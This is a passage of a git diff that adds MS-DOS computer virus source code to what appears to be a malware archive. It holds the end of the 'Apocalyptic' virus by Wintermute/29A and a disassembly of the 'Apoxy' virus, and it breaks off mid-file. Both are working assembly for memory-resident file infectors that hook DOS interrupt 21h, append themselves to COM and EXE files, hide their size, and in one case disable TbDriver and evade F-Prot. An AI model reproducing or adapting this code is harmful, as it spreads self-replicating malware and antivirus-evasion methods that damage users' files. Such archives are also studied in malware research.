11h/12h, by + call dword ptr cs:[Int21h] ;FCBs + test al,al + jnz sin_stealth + + push ax bx es + + mov ah,51h + int 21h + mov es,bx + cmp bx,es:[16h] + jnz No_infectado + + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh + int 21h + pop ax + inc al + jnz Normal_FCB + add bx,7h +Normal_FCB: + mov al,es:[bx+17h] + and al,1fh + xor al,1fh + jnz No_infectado + + sub word ptr es:[bx+1dh],Virus_size ; Old lenght of + sbb word ptr es:[bx+1fh],0 ;file and "normal" + and byte ptr es:[bx+17h],0F1h ;seconds + +No_infectado: + call condiciones + jnc sin_nada + + mov word ptr es:[bx+1dh],029Ah ; Virus's payload + mov word ptr es:[bx+1fh],0h + +sin_nada: + pop es bx ax +Sin_stealth: retf 2 + +;**************************************************************************** +; INT 21h +;**************************************************************************** + +main_center: ; The main center ! + cmp ax,5700h + jz stealth_tiempo + cmp ah,11h + jz fcb_stealth + cmp ah,12h + jz fcb_stealth + cmp ah,4eh + jz handle_stealth + cmp ah,4fh + jz handle_stealth + cmp ah,4bh + je ejecutar + jmp saltito + +;**************************************************************************** +; HANDLE STEALTH +;**************************************************************************** + +handle_stealth: + + pushf ; Handle stealth, functions + call dword ptr cs:[Int21h] ;4eh/4fh + jc adios_handle + + pushf + push ax es bx cx + +anti_antivirus: + + mov ah,62h + int 21h + + mov es,bx ; Is it F-prot ? + mov es,word ptr es:[2ch] + xor bx,bx + mov cx,100h +fpr: + cmp word ptr es:[bx],'-F' + jz sin_infectar ; Si lo es, pasamos de hacer + inc bx ;el stealth + loop fpr + + mov ah,2fh + int 21h + + mov al,es:[bx+16h] + and al,1fh + xor al,1fh + jnz sin_infectar + + sub word ptr es:[bx+1ah],Virus_size ; Subs virus size + sbb word ptr es:[bx+1ch],0 ;and places coherent + and byte ptr es:[bx+16h],0F1h ;seconds + +sin_infectar: + call condiciones + jnc no_payload + + mov word ptr es:[bx+1ah],029Ah ; payload + mov word ptr es:[bx+1ch],0h +no_payload: + pop cx bx es ax + popf +adios_handle: + retf 2 + +;**************************************************************************** +; EXE INFECTION +;**************************************************************************** + +ejecutar: + pushf + push ax bx cx dx si di ds es bp + + mov di,ds + mov si,dx + + call tbdriver ; deactivates TbDriver + + mov ax,3503h ; Int 3h points to the + int 21h ;int 21h: less size and we + push cs ;fuck'em a bit + pop ds + mov ah,25h + lea dx,saltito + int 21h + push es bx ax + + mov ax,3524h ; We handle int 24h + int 3h + mov ah,25h + lea dx,int24h + int 3h + push es bx ax + + mov ds,di + mov dx,si + +Noloes: + mov ax,4300h ; Saves and clears file + int 3h ;attributes + mov ax,4301h + push ax cx dx + xor cx,cx + int 3h + +vamos_a_ver_si_exe: + + mov byte ptr [flag],00h + mov ax,3d02h ; Opens file + int 3h + jc we_close + +infect: xchg ax,bx + + push cs + pop ds + mov ah,3fh ; Reads header + mov cx,01ch + lea dx,cabecera + int 3h + + mov al,byte ptr [cabecera] ; Makes comprobations + add al,byte ptr [cabecera+1] + cmp al,'M'+'Z' + jnz go_close + cmp word ptr [cabecera+18h],40h + jz go_close + cmp word ptr [cabecera+1ah],0 + jnz go_close ; If it's all right, goes on + jmp conti + +go_close: + mov ds,di + mov dx,si + +buscar_final: cmp byte ptr ds:[si],0 ; Searches end in ds:si + je chequeo + inc si + jmp buscar_final + +chequeo: + push cs ; Is it a .COM ? + pop es + lea di,comtxt + sub si,3 + cmpsw + jne we_close + jmp infeccion_com + +we_close: + jmp close + +conti: + mov ax,5700h ; Time/date of file + push ax + int 3h + push dx cx + and cl,1fh + xor cl,1fh + jz close_ant + + call pointerant + cmp ax,0200h + ja contt +noinz: xor si,si ; To avoid changing + jmp close_ant ;date of non-infected + ;files +contt: + + push ax + pop si + shr ax,4 + shl dx,12 + add dx,ax + sub dx,word ptr ds:cabecera+8 + push dx + + and si,0fh + push si + call copy + pop si + + pop dx + mov ds:word ptr [cs_ip+2],dx + inc dx + mov ds:word ptr [ss_sp],dx + mov ds:word ptr [cs_ip],si + mov ds:word ptr [ss_sp+2],((virus_size+100h-15h)/2)*2 + + call pointerant + + mov cx,200h + div cx + inc ax + mov word ptr [cabecera+2],dx + mov word ptr [cabecera+4],ax + mov word ptr [cabecera+0ah],((virus_size)/16)+10h + + mov ax,4200h + call pointer + mov cx,1ch + lea dx,cabecera + push cs + pop ds + mov ah,40h + int 3h + +close_ant: + pop cx dx ax + or si,si + je close + inc ax + or cl,1fh + int 3h + + +close: + + pop dx cx ax ; Attributes + inc ax + int 21h + + mov ah,03eh + int 3h + +nahyuck: + + pop ax dx ds ; Restores Int 24h y 3h + int 3h + pop ax dx ds + int 3h + + pop bp es ds di si dx cx bx ax + popf + jmp saltito + +Pointerant: + mov ax,4202h +Pointer: + xor cx,cx + cwd + int 3h + ret + +;**************************************************************************** +; COM INFECTION +;**************************************************************************** + + +infeccion_com: + + mov ax,3d02h ; Open + int 3h + jc close + xchg bx,ax + + push cs + pop ds + + mov byte ptr [flag],1h ; To make the virus know it's + ;a com when restoring + mov ax,5700h ; Time/date + push ax + int 3h + push dx cx + and cl,1fh + xor cl,1fh + jz close_ant + +quesiquevale: + mov ah,3fh ; Reads beggining of file + mov cx,3 + lea dx,ss_sp + int 3h + + call pointerant ; Lenght check + cmp ax,0200h + ja puedes_seguir + cmp ax,(0ffffh-virus_size-100h) + jna puedes_seguir +alnoin: jmp noinz + +puedes_seguir: + sub ax,3 + mov word ptr [cabecera],ax + + call copy ; Appending + + mov ax,4200h + call pointer + + mov ah,40h ; Jumping to code at + lea dx,salt ;beggining + mov cx,3h + int 3h + + jmp close_ant + +;**************************************************************************** +; DATA +;**************************************************************************** + +autor: db 'Apocalyptic by Wintermute/29A' +comtxt: db 'COM' +flag: db 0 +salt: db 0e9h +cabecera: db 0eh dup (90h) +SS_SP: dw 0,offset virus_end+100h +Checksum: dw 0 +CS_IP: dw offset host,0 +Cequis: dw 0,0,0,0 + +Encrypt_end label byte + +copy: + push cs + pop ds + xor bp,bp ; Don't let bp fuck us + call encryptant ; Encrypts + mov ah,40h ; Copies + mov cx,virus_size + lea dx,letsrock + int 3h + call deencrypt ; Deencrypts + ret + +;**************************************************************************** +; ENCRYPT ROUTINE +;**************************************************************************** + +encryptant: + lea si,encrypt_end ; Encrypts + mov cx,encrypt_size +enc_loop: mov dl,byte ptr [si] + sub dl,2h + xor dl,0f9h + ror dl,4 + mov byte ptr [si],dl + dec si + loop enc_loop + ret + +deencrypt: + lea si,encrypt_end+bp ; Deencrypts + mov cx,encrypt_size + mov di,8 +encri: mov dl,byte ptr [si] + mov al,dl + rol dl,4 + xor dl,0f9h + add dl,2h + mov byte ptr [si],dl + dec si + loop encri + ret + +Int24h: mov al,3 + ret +Saltito: db 0eah +int21h: dw 0,0 + + +virus_end label byte + +tomacha: + mov cs:word ptr encrypt_start-2+bp,deencrypt-encrypt_start + ret + ; This is cause I don't like putting a stupid flag, + ; this two commands won't be copied + + CODIGO ends + END Letsrock + + VSTACK segment para STACK 'Stack' + + db 100h dup (90h) + +ends + diff --git a/MSDOS/Virus.MSDOS.Unknown.apoxy.asm b/MSDOS/Virus.MSDOS.Unknown.apoxy.asm new file mode 100644 index 00000000..29cb2672 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.apoxy.asm @@ -0,0 +1,654 @@ + +PAGE 59,132 + +;██████████████████████████████████████████████████████████████████████████ +;██ ██ +;██ APOXY ██ +;██ ██ +;██ Created: 5-Jan-80 ██ +;██ Version: ██ +;██ Passes: 5 Analysis Options on: none ██ +;██ ██ +;██ ██ +;██████████████████████████████████████████████████████████████████████████ + +data_1e equ 0F6h ; (042A:00F6=0) +data_2e equ 3D5h ; (042A:03D5=6Ch) +data_3e equ 3DDh ; (042A:03DD=61h) +data_4e equ 42Ah ; (042A:042A=2065h) +data_5e equ 448h ; (042A:0448=6575h) +data_6e equ 44Ah ; (042A:044A=2E20h) +data_7e equ 3 ; (80C6:0003=0FFFFh) +data_8e equ 41Bh ; (80C6:041B=33h) +data_9e equ 2 ; (80C7:0002=0) +data_10e equ 0B6h ; (80C7:00B6=80h) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +apoxy proc far + +start: + jmp loc_5 ; (0110) + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + int 20h ; Program Terminate + db 77h, 6Fh, 72h, 6Bh, 65h, 64h + db 24h +loc_5: + call sub_4 ; (0410) + mov ax,4288h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + cmp ax,4288h + je loc_6 ; Jump if equal + call sub_1 ; (037A) +loc_6: + call sub_2 ; (03C3) + cmp word ptr cs:[427h][bp],5A4Dh ; (80C7:0427=7400h) + je loc_7 ; Jump if equal + push cs + push cs + pop ds + pop es + mov ds:[bp+34h],cs + lea si,[bp+427h] ; Load effective addr + mov di,offset ds:[100h] ; (80C7:0100=0E9h) + mov cx,3 + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + call sub_3 ; (0403) +;* jmp far ptr loc_2 ;*(0000:0100) + db 0EAh, 00h, 01h, 00h, 00h +loc_7: + push ds + push cs + pop ds + mov ax,es + add ax,10h + add [bp+41Eh],ax + add [bp+420h],ax + mov ax,[bp+41Eh] + mov cx,[bp+41Ch] + mov [bp+67h],ax + mov [bp+65h],cx + pop ds + cli ; Disable interrupts + mov ss,word ptr cs:[420h][bp] ; (80C7:0420=5056h) + mov sp,word ptr cs:[422h][bp] ; (80C7:0422=0F28Bh) + sti ; Enable interrupts + call sub_3 ; (0403) +;* jmp far ptr loc_1 ;*(0000:0000) + db 0EAh, 00h, 00h, 00h, 00h + pushf ; Push flags + cmp ax,4288h + jne loc_8 ; Jump if not equal + mov ax,4288h + popf ; Pop flags + iret ; Interrupt return +loc_8: + cmp ax,4299h + jne loc_11 ; Jump if not equal + mov byte ptr cs:[41Ah],0Bh ; (80C7:041A=0B6h) + jmp short loc_15 ; (01D3) +loc_9: + mov byte ptr cs:[41Bh],0 ; (80C7:041B=0) + popf ; Pop flags + stc ; Set carry flag + retf 2 ; Return far +loc_10: + mov byte ptr cs:[41Bh],0 ; (80C7:041B=0) + popf ; Pop flags + clc ; Clear carry flag + iret ; Interrupt return +loc_11: + cmp ax,4B00h + je loc_12 ; Jump if equal + cmp ah,3Dh ; '=' + je loc_12 ; Jump if equal + cmp ah,56h ; 'V' + je loc_12 ; Jump if equal + cmp ah,43h ; 'C' + jne loc_13 ; Jump if not equal +loc_12: + mov byte ptr cs:[41Ah],0 ; (80C7:041A=0B6h) + jmp short loc_15 ; (01D3) +loc_13: + popf ; Pop flags +;* jmp far ptr loc_3 ;*(0019:40EB) + db 0EAh,0EBh, 40h, 19h, 00h +loc_14: + mov byte ptr cs:[41Bh],0 ; (80C7:041B=0) + jmp loc_27 ; (0356) +loc_15: + call sub_6 ; (0420) + jc loc_13 ; Jump if carry Set + push ax + push bx + push cx + push dx + push ds + push es + push di + push si + call sub_13 ; (04BD) + mov word ptr cs:[448h],ds ; (80C7:0448=7C80h) + mov word ptr cs:[44Ah],dx ; (80C7:044A=4D02h) + mov ax,3D00h + call sub_5 ; (0416) + jc loc_14 ; Jump if carry Set + xchg ax,bx + push cs + pop ds + mov ah,3Fh ; '?' + mov dx,offset ds:[42Ah] ; (80C7:042A=3Ch) + mov cx,18h + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + call sub_10 ; (0493) + push ax + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + pop ax + cmp word ptr ds:[42Ah],5A4Dh ; (80C7:042A=613Ch) + je loc_17 ; Jump if equal + cmp dx,0 + ja loc_16 ; Jump if above + cmp ax,0D6D8h + ja loc_16 ; Jump if above + push ax + add ax,0FBCFh + cmp word ptr ds:[42Bh],ax ; (80C7:042B=7261h) + pop ax + jz loc_16 ; Jump if zero + add ax,0FFFDh + mov word ptr ds:[428h],ax ; (80C7:0428=0F74h) + jmp short loc_20 ; (02A2) +loc_16: + mov byte ptr cs:[41Bh],0 ; (80C7:041B=0) + jmp loc_27 ; (0356) +loc_17: + cmp word ptr ds:[43Eh],0 ; (80C7:043E=5845h) + je loc_16 ; Jump if equal + push ax + mov ax,word ptr ds:[43Eh] ; (80C7:043E=5845h) + mov word ptr ds:[41Fh],ax ; (80C7:041F=56C3h) + mov ax,word ptr ds:[440h] ; (80C7:0440=0F74h) + mov word ptr ds:[421h],ax ; (80C7:0421=8B50h) + mov ax,word ptr ds:[438h] ; (80C7:0438=83EBh) + mov word ptr ds:[423h],ax ; (80C7:0423=8AF2h) + mov ax,word ptr ds:[43Ah] ; (80C7:043A=3EEh) + mov word ptr ds:[425h],ax ; (80C7:0425=3C04h) + pop ax + add ax,10h + adc dx,0 + and ax,0FFF0h + push ax + push dx + push ax + push dx + add ax,42Eh + adc dx,0 + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + or dx,dx ; Zero ? + jz loc_18 ; Jump if zero + inc ax +loc_18: + mov word ptr ds:[42Ch],dx ; (80C7:042C=872h) + mov word ptr ds:[42Eh],ax ; (80C7:042E=7A3Ch) + pop dx + pop ax + mov cx,4 + +locloop_19: + shr dx,1 ; Shift w/zeros fill + rcr ax,1 ; Rotate thru carry + loop locloop_19 ; Loop if cx > 0 + + sub ax,word ptr ds:[432h] ; (80C7:0432=202Ch) + sbb dx,0 + mov word ptr ds:[438h],ax ; (80C7:0438=83EBh) + mov word ptr ds:[440h],ax ; (80C7:0440=0F74h) + mov word ptr ds:[43Ah],54Ch ; (80C7:043A=3EEh) + mov word ptr ds:[43Eh],0 ; (80C7:043E=5845h) +loc_20: + push ds + mov dx,word ptr ds:[44Ah] ; (80C7:044A=4D02h) + mov ds,word ptr ds:[448h] ; (80C7:0448=7C80h) + call sub_12 ; (04A4) + jnc loc_21 ; Jump if carry=0 + pop ds + jmp loc_27 ; (0356) +loc_21: + mov ax,3D02h + call sub_5 ; (0416) + xchg ax,bx + pop ds + cmp word ptr ds:data_4e,5A4Dh ; (042A:042A=2065h) + je loc_22 ; Jump if equal + xor cx,cx ; Zero register + mov dx,6 + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + call sub_9 ; (0476) + jc loc_24 ; Jump if carry Set + call sub_8 ; (0460) + jmp short loc_24 ; (02FB) +loc_22: + mov ax,4200h + mov dx,26h + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + call sub_9 ; (0476) + jnc loc_23 ; Jump if carry=0 + mov ax,4200h + mov dx,206h + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + call sub_9 ; (0476) + jnc loc_23 ; Jump if carry=0 + jmp short loc_24 ; (02FB) +loc_23: + call sub_7 ; (045B) +loc_24: + xor cx,cx ; Zero register + xor dx,dx ; Zero register + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov cx,3 + mov dx,427h + cmp word ptr ds:data_4e,5A4Dh ; (042A:042A=2065h) + jne loc_25 ; Jump if not equal + mov dx,data_4e ; (042A:042A=65h) + mov cx,18h +loc_25: + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + call sub_10 ; (0493) + cmp word ptr ds:data_4e,5A4Dh ; (042A:042A=2065h) + jne loc_26 ; Jump if not equal + pop cx + pop dx + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset +loc_26: + xor dx,dx ; Zero register + mov cx,42Eh + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + mov dx,ds:data_6e ; (042A:044A=2E20h) + mov ds,ds:data_5e ; (042A:0448=6575h) + call sub_11 ; (049D) + mov byte ptr cs:[41Bh],1 ; (80C7:041B=0) +loc_27: + call sub_14 ; (04D9) + pop si + pop di + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + cmp byte ptr cs:[41Ah],0Bh ; (80C7:041A=0B6h) + jne loc_29 ; Jump if not equal + cmp byte ptr cs:[41Bh],1 ; (80C7:041B=0) + jne loc_28 ; Jump if not equal + jmp loc_10 ; (019F) +loc_28: + jmp loc_9 ; (0194) +loc_29: + jmp loc_13 ; (01C4) + +apoxy endp + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_1 proc near + push ds + push es + mov ax,es + dec ax + mov es,ax + sub word ptr es:data_7e,55h ; (80C6:0003=0FFFFh) + inc ax + add ax,es:data_7e ; (80C6:0003=0FFFFh) + mov ds:data_9e,ax ; (80C7:0002=0) + mov es,ax + push es + push cs + pop ds + mov ax,3521h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov [bp+0B3h],bx + mov [bp+0B5h],es + pop es + lea si,[bp-3] ; Load effective addr + xor di,di ; Zero register + mov cx,54Dh + cld ; Clear direction + cli ; Disable interrupts + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + sti ; Enable interrupts + push es + pop ds +;* mov dx,offset loc_4 ;* + db 0BAh, 6Ch, 00h + mov ax,2521h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov byte ptr es:data_8e,0 ; (80C6:041B=33h) + pop es + pop ds + retn +sub_1 endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_2 proc near + push cs + pop ds + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + mov word ptr ds:[3E4h][bp],es ; (80C7:03E4=21CDh) + mov word ptr ds:[3E2h][bp],bx ; (80C7:03E2=27h) + lea dx,[bp+3ECh] ; Load effective addr + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + lea dx,[bp+3E6h] ; Load effective addr + mov ah,4Eh ; 'N' + mov cx,27h + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jnc loc_30 ; Jump if carry=0 +loc_30: + mov ax,4299h + lea dx,[bp+40Ah] ; Load effective addr + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + jnc loc_31 ; Jump if carry=0 + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_30 ; Jump if carry=0 +loc_31: + lds dx,dword ptr ds:[3E2h][bp] ; (80C7:03E2=27h) Load 32 bit ptr + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + retn +sub_2 endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_3 proc near + xor di,di ; Zero register + xor si,si ; Zero register + xor bx,bx ; Zero register + xor dx,dx ; Zero register + xor bp,bp ; Zero register + xor ax,ax ; Zero register + retn +sub_3 endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_4 proc near + mov bp,sp + mov bp,[bp] + retn +sub_4 endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_5 proc near + pushf ; Push flags + call dword ptr cs:data_10e ; (80C7:00B6=80h) +sub_5 endp + + +;██████████████████████████████████████████████████████████████████████████ +; +; External Entry Point +; +;██████████████████████████████████████████████████████████████████████████ + +int_24h_entry proc far + jnc loc_ret_32 ; Jump if carry=0 + stc ; Set carry flag + +loc_ret_32: + retn +int_24h_entry endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_6 proc near + push si + push ax + mov si,dx +loc_33: + mov al,[si] + cmp al,0 + je loc_35 ; Jump if equal + cmp al,61h ; 'a' + jb loc_34 ; Jump if below + cmp al,7Ah ; 'z' + ja loc_34 ; Jump if above + sub al,20h ; ' ' + mov [si],al +loc_34: + inc si + jmp short loc_33 ; (0424) +loc_35: + sub si,3 + cmp word ptr [si],5845h + je loc_36 ; Jump if equal + cmp word ptr [si],4F43h + jne loc_37 ; Jump if not equal + cmp byte ptr [si+2],4Dh ; 'M' + jne loc_37 ; Jump if not equal + pop ax + pop si + retn +loc_36: + cmp byte ptr [si+2],45h ; 'E' + je loc_38 ; Jump if equal +loc_37: + stc ; Set carry flag +loc_38: + pop ax + pop si + retn +sub_6 endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_7 proc near + mov dx,0FCD3h + jmp short loc_39 ; (0463) + +;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ + +sub_8: + mov dx,0FD2Fh +loc_39: + xor cx,cx ; Zero register + dec cx + mov ax,4202h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov dx,data_1e ; (042A:00F6=0) + mov cx,2 + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + retn +sub_7 endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_9 proc near + mov dx,data_2e ; (042A:03D5=6Ch) + mov cx,8 + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + push ds + pop es + mov di,data_2e ; (042A:03D5=6Ch) + mov si,data_3e ; (042A:03DD=61h) + mov cx,8 + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jnz loc_40 ; Jump if not zero + clc ; Clear carry flag + retn +loc_40: + stc ; Set carry flag + retn +sub_9 endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_10 proc near + xor cx,cx ; Zero register + xor dx,dx ; Zero register + mov ax,4202h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + retn +sub_10 endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_11 proc near + mov cx,word ptr cs:[446h] ; (80C7:0446=0F75h) + jmp short loc_41 ; (04B2) + +;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ + +sub_12: + mov ax,4300h + call sub_5 ; (0416) + mov word ptr cs:[446h],cx ; (80C7:0446=0F75h) + and cl,0FEh +loc_41: + mov ax,4301h + call sub_5 ; (0416) + jc loc_42 ; Jump if carry Set + retn +loc_42: + stc ; Set carry flag + retn +sub_11 endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_13 proc near + push dx + push ds + push cs + pop ds + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov word ptr ds:[442h],bx ; (80C7:0442=3C81h) + mov word ptr ds:[444h],es ; (80C7:0444=4F43h) + mov ax,2524h + mov dx,offset int_24h_entry + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop ds + pop dx + retn +sub_13 endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE 